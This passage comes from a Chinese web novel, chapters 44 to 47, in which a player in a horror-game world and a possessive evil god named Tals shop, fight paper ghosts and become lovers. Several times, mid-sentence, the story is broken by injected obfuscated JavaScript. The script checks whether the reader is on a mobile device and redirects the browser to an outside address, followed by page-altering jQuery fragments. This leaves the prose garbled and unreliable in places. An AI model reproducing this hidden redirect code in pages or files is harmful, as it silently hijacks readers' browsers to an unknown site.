宁小满语速又快又急,很明显是怕塔尔斯不管不管的动手,说完他就眼神殷殷的看着塔尔斯。 塔尔斯对这种眼睛毫无抵抗力,只能认栽。 恰巧这时门外传来了敲门声,“砰砰砰——物业,例行检查,开门!砰砰砰!开门!” 塔尔斯嘴角勾起一抹核善的微笑,弯腰把怀里面的人放到沙发上,揉揉他的头发,柔声道:“我去解决了他们再陪你。” 宁小满内心自动翻译:我去撒气,撒完气再回来陪你。 “嗯嗯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15141531|162311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,快去快回。” 也不知道塔尔斯脑补了什么,本就柔和的眼神柔的快滴出水了,这还不算完,居然还弯腰单手撩起他的头发在额头上亲了一下,并承诺道:“会快点回来的。” 宁小满一身鸡皮疙瘩快被吓出来了,忍到塔尔斯离开后猛抖,抖完摸摸怀里面乖乖的小章鱼,稀罕道:“你叫小五,是上面还有四个存在吗?” 小章鱼咕噜咕噜叫着点了点头,点完头还用触手比划了一阵。 连看带猜,宁小满勉强弄明白了它想表达的意思,“你是说,你上面有四个,下面有三个,它是第八个?” 小章鱼和不知道什么时候凑过来的触手猛点头,然后继续比划,有了触手的加入,比划的东西就更好猜了。 “塔尔斯很残暴,平时动不动就打你们,你们很讨厌他!” 小章鱼and触手:嗯嗯! “他有很多好东西,我都可以和他要?” 小章鱼and触手:嗯嗯! “你们的……触手,不对?”话说到一半两个小家伙猛摇头,宁小满想了想修改道:“本体?” “对了,你们的本体很大,像山一样,可以、带你一起飞?啊——飞就不用了,我恐高。” 小章鱼and触手:骗神!之前怪谈中明明被带着飞过! 宁小满装看不见他们两个的愤怒,催着他们两个玩你比划我猜的游戏,“好啦好啦,继续吧。” “他变态,想囚禁你,等等,这个你……指的是我吗?”宁小满不敢置信且小心翼翼地指着自己询问道。 猛点头!居然是猛点头! 宁小满猛地站起身又坐下,随手拉过一边道靠枕抱进怀里,他和塔尔斯武力值根本就不在一个层次,如果塔尔斯真有什么想法,他跑也没用。 与其垂死挣扎,倒不如一开始就躺平。 而且、而且他也不怎么喜欢出门就是了,要说之前是因为看不见出门不方便,容易受伤,现在嘛,就纯属是习惯使然了。 确认自己可以接受后,宁小满低头看向茶几上两个上蹿下跳的小家伙认真道:“没关系,他想干什么就随他吧。” “真的随我?” “啊——”宁小满尖叫着沙发上跳起来,惊恐的转身看向黑衣渗血的塔尔斯,“你你你——你什么时候回来的?怎么能偷听……” “那满满呢,我一直就在这里站着,满满为什么没发现我?是不关心我了,还是因为把对我的关心平均分到了——” 塔尔斯微微偏头看向瑟瑟发抖的两个小家伙,“他们身上?” 话音落地,瑟瑟发抖区再添一员大将。 塔尔斯嗤笑一声,将手中一直拎着的外卖放到桌上,“抖什么,吃饭。” 宁小满探究的看一眼塔尔斯,“刚才的事、算是揭过去了吗?” “嗯,以后想知道什么,直接问我。” 宁小满扭头和小章鱼对视一眼:他还挺好说话的。 小章鱼摇头:不不不,分人的,这家伙,他双标! 塔尔斯不满地敲了敲桌,提醒道:“吃饭。” “哦哦,塔尔,你尝尝这个,这个好吃。” 咬了一口满满递到嘴边的包子,塔尔斯捏着宁小满的手腕反将吃了一口的地方送到他唇边,“确实不错,满满吃。” “好~” 见他吃了,塔尔斯心情瞬间好转,脸上浅浅带出一层笑意来。 宁小满咀嚼着嘴里面的食物,心里面嘀嘀咕咕:小脾气好多,感觉不是邪神而是公主,不过话说回来,塔尔斯的脸真的好好看,忽略身高,完全就是摆在橱窗中的洋娃娃嘛…… “为什么要忽略身高?” 宁小满诧异的瞪大眼睛,“你、” “想了我的名字,所以可以听到哦~” 这种时候就不要带哦和夹子音装可爱了,很瘆人的好不好! 塔尔斯侧身朝右靠去,拨弄两下白嫩的耳垂,拉长声调问道:“满满,还没回答我,为什么要忽略身高呢——” “……因为你真的很大一只。” “如果满满见过我的本体,就会觉得我现在这样挺小巧可爱的。” 小巧可爱,你吗? 44.瘟疫都城3 小巧在哪里?可爱在哪里?他请问呢! 这两个形容词是形容你的嘛你就用!疯了,真是彻底疯了。 宁小满有些抓狂的想道:自打塔尔斯变成人形回来,就跟在梦里面一样。 倏然,宁小满抬手扯住塔尔斯的脸皮往外拉了拉,“你真的是塔尔斯?不是什么吃人的诡异?” “……我如果是,满满刚才拉那一下,就够我当拿你填肚子的理由了。” 不,更确切的说,都不需要理由,像人吃猪鸭是为了填抱肚子,诡异吃人亦然。 “怪怪的。” 塔尔斯不解歪头,“哪里怪?” 宁小满摇摇头,不想说,或者更确切的说,他也不知道到底是哪里怪,就是一种感觉。 早餐过后,勤勤恳恳小章鱼扔垃圾去了,宁小满被塔尔斯抱着坐在腿上抓着手玩。 空气中无时无刻都在弥漫着尴尬和静默,这样玩了一会宁小满坐不住了,用空闲的手推推塔尔斯,试探性的建议道:“出去走走怎么样?” “唔、都可以。” “那就出去走走!” 宁小满拍板做决定, “去超市吧,买点储备粮,这样就算后边没办法点外卖也不怕被饿死了。” 塔尔斯嘴唇微动,看着宁小满期待的表情,到底是没把他空间内有储备粮和只要有钱就不可能点不到外卖说出来。 他反手从空间内拿出一套衣服递给尚且还穿着睡衣的宁小满,“既然要出去,就把衣服换了。” “好!” 宁小满从他腿上跳下,边跑边道:“我换衣服很快的,马上!你坐在那等我!” 他余光瞥见塔尔斯起到一半又坐了回去,心下微松,跑进房间反手将门甩上,背靠着门松了一口气。 “咚咚——” 不远处的玻璃被敲响,宁小满看向高兴的挥舞着身体的触手,眼角微挑,警惕的靠着门听了听外边的动静,没听见什么动静方才走过去一把拉开窗户。 “小五呢?没跟你一起来?” 触手上下跃动着比划,宁小满拧眉看着,试图理解他动作的含义,理解、理解不成,遂放弃。 抓着触手放到床上,“你乖乖待着别动,我先把衣服换上。” 要不然不好对外边那个交代。 上衣就是普通的衬衫,除却领口位置多了点花边,没什么特殊的(指被塔尔斯亲手缝上宝石),裤子、不,不是裤子,这是一条裙裤,长度还只到膝盖上方一点! 塔尔斯!宁小满咬牙想道。 “满满叫我?” 一只骨节分明的手从背后攀上宁小满的腰,宁小满被突然传来的触感和声音吓了一跳,旋即很快反应过来,手肘狠狠向后捣去。 塔尔斯抓住捣过来的手肘,顺着摸到手腕,目光流连在白嫩的脖间,幽幽叹道:“好狠心啊满满。” 宁小满不吃他这一套,回头恶狠狠的瞪着他,质问:“你从哪冒出来的?” 塔尔斯带着他转身,让他看大开的窗户和窗台上那只被黑色丝线五花大绑的小章鱼,“它可真是带着我找了条好捷径,你说呢,满满?” 宁小满心虚的咽了咽口水,他,他什么都不想说。 没回应,早在意料之中的事,塔尔斯也没想真得到个什么回应,捞着宁小满的腰将他放到床上,拿起那条被他摔在床上的裙裤,抓着他的脚踝往上套去。 同样,也是意料之中的没有抗拒。 宁小满这会正心虚,别说塔尔斯只是帮他穿个衣服,就算是塔尔斯抱着他亲他都不带多反抗的。 衣服穿好,塔尔斯变戏法一般反手拿出一双黑色马丁靴和一双白色袜子,小心翼翼的帮忙穿戴整齐,起身抱起看天看地就是不看他的宁小满朝外走去。 双腿在两边晃荡,屁股被两只大手托着,宁小满不自在的动了动,小心觑着塔尔斯的脸色:“小章鱼……” “嗯?” “没什么。” 塔尔斯轻笑一声,索性边走边道:“莫要太过相信它们,它们并不似你看到的那般无害。” “我知道,但它们对我很好。” “我对你不好吗?”塔尔斯反问。 “也好。” 这话一听就知道还藏着些什么,塔尔斯却并不想深究,只拐弯抹角的提醒:“满满,这里是怪谈世界,你要记住,这里唯有你自己可信。” 像什么小章鱼啊、触手的,根本就不可信,它们只是他分出来的一部分,只要他想它们丁点秘密都瞒不住他,所以商议对付他的事,得…… 宁小满环住塔尔斯的脖子后仰身子注视着他的眼睛问道:“你呢?你也不可信吗?” “我?我自是可信的。” 宁小满拿塔尔斯刚才的话堵他:“你也是这怪谈世界中的一员。” “满满,我归属于你。” 宁小满愣愣的看着塔尔斯,没想到他会突然来这么一句,归属……就算是夫妻也无法脱口而出这两个字吧? “咳咳咳——” “嚇、嚇、救——” “滚开,得了病就赶紧去死,别在这祸害其他人!” “就是就是,明知道得了病还要倒在大街上,也不知道是不是存了祸害其他人的心。” “快快快,都走远点,别被感染了。” “报警报警,得把这人抓进监狱,太没有公德心了。” 普一踏出小区大门就目睹这么生猛的一面,宁小满属实是呆了,“他、他们……” 塔尔斯变出一个口罩递给宁小满示意他戴上,“他们是祂安排的NPC,每个天选者踏出小区都会有这么一幕,目的就是想让天选者饿死在小区内,满满不用心疼他们。” “我没有心疼他们,我只是好奇,他们这样活着,是不是很爽。” “爽?” “就、没有一点公德心嘛……” “哎!那边的两个,过来过来——” “被抱着那个,别勾头乱晃了,说的就是你们两个!” 塔尔斯没管他们,自顾自的抱着宁小满离开,只在那些人想过来阻拦时放出了一丝气息。 “爽不爽我不知道,但我知道他们什么时候死,满满要猜猜看吗?” 宁小满无奈的看着塔尔斯,“你确定是不知道而不是你造成?” “不确定,满满猜猜看?” “不猜,你想杀他们就杀,为什么非要我做那根导火索?” 塔尔斯目光幽幽的看着前方,不知道在想些什么。 宁小满靠在他肩侧向上看着他的脸,撇了撇嘴,小声抱怨道:“你变了好多,你之前不会这样的。” “不觉得之前我很幼稚?” “是有点幼稚,但我很喜欢。” “那我现在这样,是不是很讨厌。” 宁小满摇了摇头,“只是一点点,算不上很。” “之前,算不上完整的我,因为需要融合神格,能分出去的部分仅限玩乐,现在……” 塔尔斯猛地顿住话头,转而另起了个话头道:“这个怪谈一个月,一个月时间,如果你还是讨厌,我就把之前的我还你。” “怎么还?” 塔尔斯垂眸睨着爱人的脸淡淡道:“割肉削魂还。” 宁小满扭头撇嘴,说的比唱的好听,就相处的这些时间看,这人根本就不是会轻易退让的性子,割肉削魂还,怕不是变成两个一起折腾他吧? 看的十分透彻的宁小满不语,只打算看这些天塔尔斯准备怎么让他不讨厌他。 纸人两腮血红,脸上带笑迎上前来,“欢迎光临,请问有什么可以帮助您的吗?” “滚。” “好的。” 塔尔斯勾勾手指,悬在半空中的购物车被力量牵引着来到两人身后,“看中什么就往里面扔。” “嗯嗯,那个我能学吗?” 塔尔斯低头看向宁小满在特殊光线下呈现出的和他一样颜色的眼珠,心情很好的问道:“什么?” “就那个‘滚’字。” 他的天赋技能通过语言呈现,他自己琢磨自己来倒不如现抄来的快。 “可以,回去教。” “哇哦!谢谢塔尔!” 塔尔斯轻笑一声,歪头将自己的侧脸送上。 等了一会没等到应该有的触感,塔尔斯转回头道:“要亲嘴?” “不不不,脸就好,脸就好……” 宁小满说着抬起双手捧住塔尔斯的脸,在他左脸重重亲了一口。 亲完,后背突然一凉,宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15149716|162311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小满皱着眉头回头,只见两米远的地方约莫七、八个纸扎的人直勾勾的盯着他瞅,用毛笔点的黑黢黢的眼睛看上去格外瘆人。 “嘻嘻嘻……新客人,留下,陪我们一起玩好不好吖?” 塔尔斯一脚踢开一个扑上去的纸人,在一群纸人的围攻下,就算是抱着一个人照样游刃有余。 “别发呆,运用你的天赋,这里是个很好的试炼场。” 前一秒宁小满还在纳闷怎么几个纸人还打的有来有回,听到塔尔斯的话立马反应过来是为了什么。 回想着之前的运用方法,试探性的吐出两个字:“停下。” 纸人们动作顿了一瞬,旋即恢复如常。 “语气不要迟疑,想象你这里是你构建出的世界,在这里你是主宰、你是造物者,所有的一切本就该听从你的指令。” 顺着塔尔斯说的话,宁小满渐渐找到了感觉,“停下。” 塔尔斯看着停下的纸人们,夸赞道:“很好。” “接下来,让他们运转自己的诡力至核心,然后再散开控制。” 宁小满朝塔尔斯摇头,他不行的,单个的指令还好说,连贯起来的他没有信心。 “满满,相信自己,你可以的,只要你想。” “试试看,不成也没有损失。” “好,我试试,”宁小满深吸一口气,“运转你们的诡力至核心。” “然后,散开控制!” 随着力量的运用,眼珠中属于紫色的部分越来越多,远远望去,像是一颗嵌在眼眶中的紫宝石。 嗯,他的紫宝石。 纸人们听令行事,一分钟后纷纷无火自燃,燃烧过后的地面除了燃烧留下的黑灰再无其他。 “呼——成功了!塔尔,你看到了吗?我成功了!” “嗯,看到了,满满真棒,一次成功,已经超过怪谈世界上百分之九十九的人了!” 亏了塔尔斯的夸奖,宁小满激动的心得以平复,心绪激荡到心如止水仅仅只差一个塔尔斯的夸奖。 “其实,怪谈两个字可以不带的。” “那,超过了现实世界百分之九十九的人?” “……现实也不用带。”现实中的人根本就没人有天赋技能,和他们比,他胜之不武。 宁小满抬手捂住塔尔斯还想说话的嘴,“行了行了,别夸了,去零食区,买点零食就回去了。” “哦。”塔尔斯委委屈屈的低头。 见他这样,宁小满不自觉开始反思自己刚才的态度是不是有点太不耐烦了,直到他们两个来到零食区…… “塔尔斯!”宁小满抓狂道:“它们站的好好的你干嘛去招惹他们!” 塔尔斯踢开一只扑上来的玩具狗,语气无辜道:“我只是觉得,它们给满满练手正好,我做错了吗?” 宁小满抬手抓抓头发,“求你,别夹着嗓子说话,还有,你不适合装无辜。” 小章鱼形态仗着眼大装无辜就装吧,内在不提外在确实像。 人形嘛,就这狭长深邃的眼型和浑身上下阴郁的气质,装无辜?nonono,根本不适合。 说句冒犯的,如果他不认识塔尔斯,如果他在现实中遇到他且眼睛能看见,他看见他的瞬间反应就是跑,跑的越远越好,长的就不像个好人! “满满,你这样说我伤心了,你得补偿我,要不然晚上我要闹了。” “行。” 在塔尔斯激动的目光下,宁小满大手一挥,“就补偿你把它们都解决吧!” “这是给你练手的。” “我……算了,练就练吧。” 辛辛苦苦两小时,一看战绩,一货架零食,宁小满躺在沙发上斜着眼睛看搬回来的零食货架,手指抬起虚空点来点去,最后落到一袋绿色包装不知道是什么的零食上。 不等他起身去拿,小五突然出现,触手卷着零食用力扔来。 抬手接住零食,“谢了。” “咕噜~咕噜~” 宁小满捏着伸到面前的触手晃了晃,“要亲?” “咕噜!” “行吧。” “咕噜~” “亲什么?” 塔尔斯甩着匕首从卧室走出,斜靠在墙上冷眼睨着撒娇卖痴的小章鱼。 45.瘟疫都城4 “没什么。” 不知道为什么,宁小满突然涌出一股他找小三但被老婆捉奸在床的感觉,摇摇头将这股莫名其妙的感觉甩出脑海。 东瞅瞅西看看,没看见什么适合转移话题的东西,干脆举起手中的零食生硬地问道:“没吃过的零食,要尝尝看吗?” “吃过。” “什么?” “这种零食你吃过,你还评价它不好吃,以后都不会再买了。” 完了,更尴尬了,宁小满脑海中循环播放这几个字。 身边的沙发突然塌陷,手中的绿色包装袋零食被拿走,取而代之的是一盒果干,“这个你没吃过。” 见宁小满呆呆的望着他不动弹,塔尔斯打开盒子从里面拿了片果干递到宁小满唇边,“尝尝。” “……很好吃。” “那有更喜欢我一些吗?” 满心感动转化为哭笑不得,“哪有你这样问问题的啊。” “有吗?”塔尔斯只一味询问。 “有有有,好了吧。” 宁小满低头看向猛地抱住他小腹把头靠过来的人,满头黑线地问道:“这又是要干嘛?” “高兴。”塔尔斯在爱人柔暖的小腹蹭蹭,感觉自己也被带的更像人了一些。 然而温暖稍纵即逝,塔尔斯顺着爱人的力道被拎起来,歪头喊道:“满满。” “别撒娇。” 塔尔斯字正腔圆的纠正道:“这不是撒娇。” “撒娇是这样的才对——满满~求你了,再让我亲一下吧,就一下~” 宁小满看完塔尔斯的示范,嘴角直抽抽,“不对,你这不是撒娇,你这就是夹着嗓子说话。” “所以满满是同意亲一下喽?” 什么?他什么时候同意…… 望着近在咫尺的眼睛,宁小满呆呆的眨了眨眼,唇上突然传来濡湿感。 他眼见着塔尔斯弯眸浅笑,他耳听着塔尔斯让他张嘴,他…… 试探、戳刺,舌尖在属于它的战场无所不用其极。 渐渐的,宁小满抗拒地抵在塔尔斯胸口的手环到了他的脖颈上。 水声嘀嗒,窗外夜幕降临,迷蒙成了夜色的唯一主旋律。 大手包着小手,带它在身上肆虐。 火热间,外边突然响起雨声,宁小满转头朝窗户看去,大滴大滴的雨滴落到窗户上留下一道道雨痕,像眼泪又像其他。 但总感觉,有什么不一样了…… 耳垂突然一疼,是身上人不满地泄愤,宁小满回头望去,得益于塔尔斯的眼睛,在没有开灯的黑夜中他也能看的清楚。 “你……” “要说什么,慢慢来。” 宁小满闭了闭眼,任由眼中积蓄已久的泪水滑落,“讨厌你。” 塔尔斯低头先是将眼泪吻去,后印上爱人的唇瓣舔吻,“骗子。” 明明就不是讨厌,而是——喜欢。 正午正好的阳光透过窗帘缝隙照进屋内,略略扫过床铺,映出鼓鼓的被包影子。 “现在什么时间?” “中午了,要起床吗?” “要。” 说了一个要字后,接下来所有事情宁小满再没操心过,换衣服、洗漱通通由塔尔斯一手包办。 期间塔尔斯蹲下给他穿袜子时,宁小满没忍住小声嘀咕道:“我可以自己穿的。” 塔尔斯充耳不闻,只当自己是个聋子。 见他这样,宁小满眼睛一转,坏点子就那么浮了上来。 看塔尔斯预备起身抱他,说时迟那时快,宁小满一个抬脚抵住他的膝盖将他重新压回去,“不准起来。” 塔尔斯不解歪头,却真的没再尝试起来。 两人对视片刻,最终由塔尔斯开口打破沉默,“运动了那么久,满满不饿吗?” 做好心理准备刚要开口就被抢了先机,宁小满心下恼怒,语气自然算不得多好,“不饿!” “那……” “我……” 异口同声,塔尔斯低头莞尔,“满满先说。” 宁小满冷哼一声,双手环胸,用带着挑衅的语气问道:“我今天醒来一点都没有舒服哎,是塔尔你不行吗?” “没有不舒服很正常,行不行什么的,满满小说看多了还是亲身没有体验出来?” “哼!” “乖,该起床了,来,我抱你。” 爱人顺利入怀,塔尔斯垂眸浅笑。 他提前用神力恢复过了满满要再感觉到不舒服,他这邪神也不用做了,干脆洗洗手去动物园当观赏章鱼吧! 洗漱完解决了预定好的午饭,塔尔斯抱着爱人坐在阳台的躺椅上边晒太阳边道:“以后就不要出门了,练手的诡异我会抓来给你。” “外边怎么了?” “昨天的雨,满满看见了吧?” 说到昨天的雨宁小满就想起了昨天落下的泪,神色不自然地转头看向一边的墙壁,低低应了一声:“嗯。” “雨中掺杂了病毒,是怪谈对天选者们的第二次进攻。” “第一次是?” “昨天出门时那几个吵架的诡异。” “哦哦,想起来了。” 说完正事,阳台上静了下来,不显尴尬,颇有几分静谧之感。 小五和触手小八扒着墙根远远看着这边,想过去又不敢,只能私底下偷偷吐槽主意识的独断专行,自己一个神吃肉连点子肉汤都吝啬给他们这些附属。 听着不远处墙根的窃窃私语,塔尔斯抚摸爱人头发的手一顿,头也不回的抛出一道攻击,打断了他们的谈话,并附赠了一个常用字:滚。 小五扭头和没有眼睛的小八对望片刻,一个把自己团成球一个把自己抻直了往外滚去。 球体滚动的声音吵到了闭目养神的宁小满,他攀着塔尔斯的肩膀朝声源处看去,见是两个小家伙便又缩了回去。 “跟猫一样。” 宁小满懒懒地拍开头上的手,故作凶狠道:“如果我是猫,那就先把你这个海鲜吃了!” “要吃吗?” 不等宁小满回话塔尔斯便自问自答道:“吃吧,距离上次吃也好久了,我都忘记我是什么味道了,满满肯定也是。” “停停停!不至于不至于,真不至于!” 宁小满猛地起身拉住塔尔斯去掰另一只胳膊的手,劝道:“咱们没有生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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塔尔斯抓住要打自己脸手,放到脸上蹭蹭,用最正常的语气说出最不正常的话,“人类常说,饱暖思淫/欲,我以为,这在人类中已经是很常见的事,满满因为这个打我,我真的会伤心的。” 宁小满被他这强词夺理的话气的够呛,“常见个鬼啊!你不能因为有这么一句话就笼统的认为它……还有!世界上不是只有你认为,还有我认为!” “那满满认为如何?” “我刚才说了。” 宁小满撑着塔尔斯翻身下地,站在原地伸了个懒腰,走进了屋内,抱起地上乱滚的小章鱼和触手朝卧室走去,路过拐角时,扭头看着塔尔斯哼了一声。 “刚才小吵了一下,他短时间内应该不会过来,咱们继续……” 触手小八捂住宁小满说话的嘴,小章鱼咽着口水指了指他身后,示意他转头去看。 它们两个这反应,关于身后是谁,不用回头宁小满都知道,腰部倏然搭上一只手,趴在床上的身体一僵。 小八拉着触手一蹦哒一蹦哒从窗户处跳了下去,徒留宁小满看着白色的床单发呆。 也不完全算是发呆,主要还是不想面对现实。 “回头看我。” 宁小满僵着身子扭转腰身回头,绝望的发现从这个角度看塔尔斯的脸和昨天晚上诡异的重合了,嘴角隐隐抽动,不经大脑思考的话脱口而出:“好巧,又见面了哈——” 死嘴,一天天都在说什么啊!怎么就比脑子快那么多! 塔尔斯低头和宁小满鼻尖对鼻尖,凝视着他隐带懊恼的眸子道:“满满,你该对我的话上点心的。” “我上心了的,上心了……” 46.瘟疫都城5(完) “唔……” 塔尔斯低头吻住嘴硬的爱人,边吻边想:嘴硬就嘴硬吧,亲上去到底是软的。 一吻毕,看着失神的爱人,塔尔斯用手擦去脸上方才无意间滑落的涎水,也不管此刻还处于宁小满失神状态的宁小满能不能听到,自顾自的就开了口。 “眼睛,我的,小章鱼,我的,触手,我的,就连你……” 塔尔斯垂眸和宁小满对视,“就连你也是我的,你们三个却想瞒着我密谋,满满说,自己傻不傻?” “没有密谋。” “那是什么?” 宁小满垂眸躲开塔尔斯的目光,小声道:“我只是想和它们了解一下你。” “想了解我,你应该找我。” 宁小满无语,那有些问题对着本尊是能问出口的吗? 雨,突然又下起来了。 静默无言的气氛被突如其来的暴雨打断,两人同时扭头朝外看去,只见窗外艳阳高照却大雨连绵。 两人异口同声道: “下雨了……” “狗急了。” “狗?”宁小满疑惑地看向塔尔斯,等着他解惑。 “祂,”塔尔斯手指向上指了指,“我能感应到,这次祂得到的能量还是很少,不说预期,恐怕是连成本都无法覆盖。” 成本……宁小满眨眼,规则怪谈还讲究成本吗?对于这里的诡异来说,对付他们这些天选者不应该是无本买卖吗? “连下两场带着病毒的雨,看来祂是打定主意要在这个怪谈将前面怪谈的损失找回来了。” “前面,有损失?” 塔尔斯毫不心虚的点头,“上个我打破的怪谈,祂算到他们头上了。” “他们、嗯……” 塔尔斯低头吻了吻宁小满的鼻尖,“一直问其他人,我会吃醋的满满。” 宁小满想说:可是你的表情看上去很冷静,没有一点吃醋的意思…… 最终却什么都没说出口,该出口的话隐没在口齿间,徒留几声暧昧的轻喘。 …… 三十天,说长不长、说短不短,但一直维持一个状态总是有些无聊。 每天重复着锻炼、做、谈情说爱的生活,宁小满难免感到疲惫,有时候他会想,塔尔斯对他到底是身体上的情/欲,还是发自内心的喜欢。 这个想法“偶然”间被塔尔斯知道了,他反问道:“有区别吗?没有喜欢,我不会对你产生情欲。” 很怪,宁小满想回他爱情应该是纯粹的,不应该掺杂太多其他的东西,尤其是情欲。 但后来仔细想想,情欲情欲,包含了一个情,从心而论,他分不清。 直到有一天,塔尔斯难得没有抱着他去洗漱,他一个人起了洗浴间,刷牙时瞥见镜子中一双紫色的瞳孔,登时他就叼着牙刷愣在了原地。 起床没看见的紫色瞳孔在这里以一种出乎意料的方式补上了,诡异的同时有种说不出的安心感。 接下来的洗漱过程宁小满全程神游天外,直到身后抵上带着凉气的怀抱,腰也被一双有力的胳膊缠住宁小满方才回过神。 “那两个蠢货带着饭菜和一会练手的诡异回来了,洗漱好就出去吧。” “不急。” 宁小满将手中的毛巾放回原位,就着宽泛的拥抱转了个身,抬头看向塔尔斯的眼睛,紫色又见紫色。 塔尔斯低头不解的凝视着爱人,“满满?” 宁小满没说话,抬手用指关节在塔尔斯眼尾处蹭了蹭,“眼睛,漂亮。” “满满也是。” “为什么?” 宁小满没说问题前缀,塔尔斯却知道他在问什么,低头咬住白嫩的耳垂用牙齿磨了磨,松开时满意地看到耳垂泛红。 “我在为我的情欲支付代价。” 宁小满低头笑出声,“那你付出的代价有够大的。” 给了他眼睛的同时也给了他力量,想到这些天他肆无忌惮的发动能力身体却没有丝毫不适感宁小满就想笑,事实上他也确实笑了,笑声越来越大,呼吸越来越急促。 塔尔斯抱着笑歪在身上的爱人,脸上表情不动如山,手轻抚着爱人的后背。 宁小满擦去眼角笑出来的眼泪,揉了揉笑到发疼的肚子,悬在半空中的腿踢踢塔尔斯的小腿,语气肆无忌惮道:“你就不好奇我为什么笑?” “我知道。” “哦~忘了,你是邪神,你无所不知。” 宁小满抬手环住塔尔斯的脖子直起身凑近他的脸道:“我很好奇,你选择我时,知道我是个什么样的人吗?” “应该是知道的吧?毕竟你总是幼稚的说你无所不知。” 语气扑撒在脸上,塔尔斯盯着近在咫尺的脸咽了下口水,连话都没听清就道:“知道。” “不,你不知道,相处那么多天,你根本就不了解我,只会用纯白的灵魂来形容我,可实际上,我……” “你漂亮、可爱、直率……就算重来无数次,我还是会选择你当我的新娘。” “你选我只是因为我的灵魂颜色” 塔尔斯开口打断道:“不是!” 随后在宁小满迷茫的眼神中一字一顿的重复道:“不是。” “我选你是因为喜欢,不是因为灵魂颜色,就算有,也只是个前置条件,之前怕你害怕,就没告诉你,在没有特殊感情前,纯白色的灵魂也不过是食物的一种。” “所以,用人类的词汇来说,我对你,一见钟情,用邪神的感受来说,我的三颗心脏都在见到你时疯狂悸动。” “满满,不要再试探了,相信我,把自己交给我,好吗?” 宁小满愣愣地看着塔尔斯,突感脸颊一阵湿热,他抬手摸了摸,是泪。 塔尔斯低头吻去他指尖的泪、脸上的泪,表情虔诚。 宁小满抬手捧起塔尔斯的脸,看着他脸上虔诚的表情,凝视许久,说了一句在他猜想中最能惹怒塔尔斯的话,“你是……把自己当信徒了吗?” “信徒?” 塔尔斯一愣,旋即垂眸一笑,“可,既不愿将自己交给我,我将自己交给你亦是一样。” “……你没有底线的吗?” “对你,不需要。” 好一个不需要,真是十足十的底气,那他陪着爱一场又能怎么样? 宁小满被激起几分少年意气,就着现在的姿势,抬头吻上了捧着的脸。 十分钟后,两人分开,宁小满撑着身子直视塔尔斯, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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塔尔斯眯着眼睛看向抽空朝他高兴挥手的爱人,也挥了挥手当做回应,不像现在,满身少年气还有小脾气,鲜活的没边,可爱极了。 宁小满噔噔噔从远处跑回来踢了下塔尔斯的小腿,成功在黑色的休闲裤上留下一道灰痕,就这还不算完,小嘴还在不停叭叭着:“塔尔!发什么呆呢?刚才就叫你过去,结果现在还站在原地!” “确实在发呆,没听见满满叫我,满满再原谅我一次好不好?我保证不会有下次了~” “再、哼,倒是知道自己不是第一次了。”宁小满双手环胸小声嘀咕道。 “算了,这次就原谅你了,跟上。” 塔尔斯乖乖听话跟上,手悄摸摸上细腰,摩擦两下成功得到一个瞪视,就这也够他高兴的了。 可惜,瞪完满满就把目光收回去了,不满自己收到忽视,塔尔斯便开始没话找话,“满满,你更喜欢之前的我还是现在的我?” “嗯?都喜欢都喜欢。”宁小满含糊道。 “不行,不能都喜欢,必须选一个!” 见塔尔斯这么着急,宁小满恶趣味上扬,一个接一个坏点子浮在脑海,他故意沉默两秒了一会才用无奈的语气问道:“不给自己找不开心不好吗?” 率先挑起话题的塔尔斯瞬间破防,整个人腻在宁小满身上不停地问道:“为什么?现在的我比以前的我差哪了?他有我现在帅吗?有人形嘛他?有我体贴吗?有……” 47.连通三关 宁小满被他逗的直发笑,偏头在他嘴唇上亲了一口,“好啦好啦,刚才骗你的,最喜欢现在的你。” “我就知道,我就知道!” 塔尔斯满血复活,“不过以后不许了哈,只此一次。” “嗯嗯,知道啦~” 一旁被强制站在原地无法动弹的诡异们瞪着俩大眼,满满的绝望:怪谈啊!规则啊!他们是诡异不是人类,这么整他们是不是有点过了? 不等他们思考出来过不过,他们的意识就彻底离开了这个血腥的世界。 塔尔斯挥手挡住四散而来的飞灰,若无其事的和宁小满从街道中央走过。 在瘟疫都城游(扫)荡了两天,算算现实世界的通讯快来了两人方才回到中转站,通完讯,稍整旗鼓,下个怪谈正式开始。 一如往常的,普一进入怪谈塔尔斯就掐断了直播。 等塔尔斯屏蔽好直播,宁小满走过去自然的环抱住他的胳膊,小声问道:“确定要那样做吗?” “说好了的,再说,满满难道不想快点见到爸爸妈妈吗?” “想是想的,但我害怕你那样做祂对你进行打击报复。” “你这样就是不相信我,哼,我要生气了,真的生气了——” 塔尔斯背过身子看向远处,眼尾时不时朝后扫去,半天没见身后有什么动静不得不再次开口道:“生气了,要哄!” “好好好,哄,过来,我亲一下。” 塔尔斯嘴里面嘟哝着:“这算什么哄,跟叫小狗一样。” 身体上的行动却半点不落,十分从心的转过身低头将自己的脸送了上去。 宁小满憋着笑捧着他的脸在上面亲了一口,揉捏两下,还没来得及开口就听那道熟悉的声音再次响起: “恐怖娃娃怪谈开启 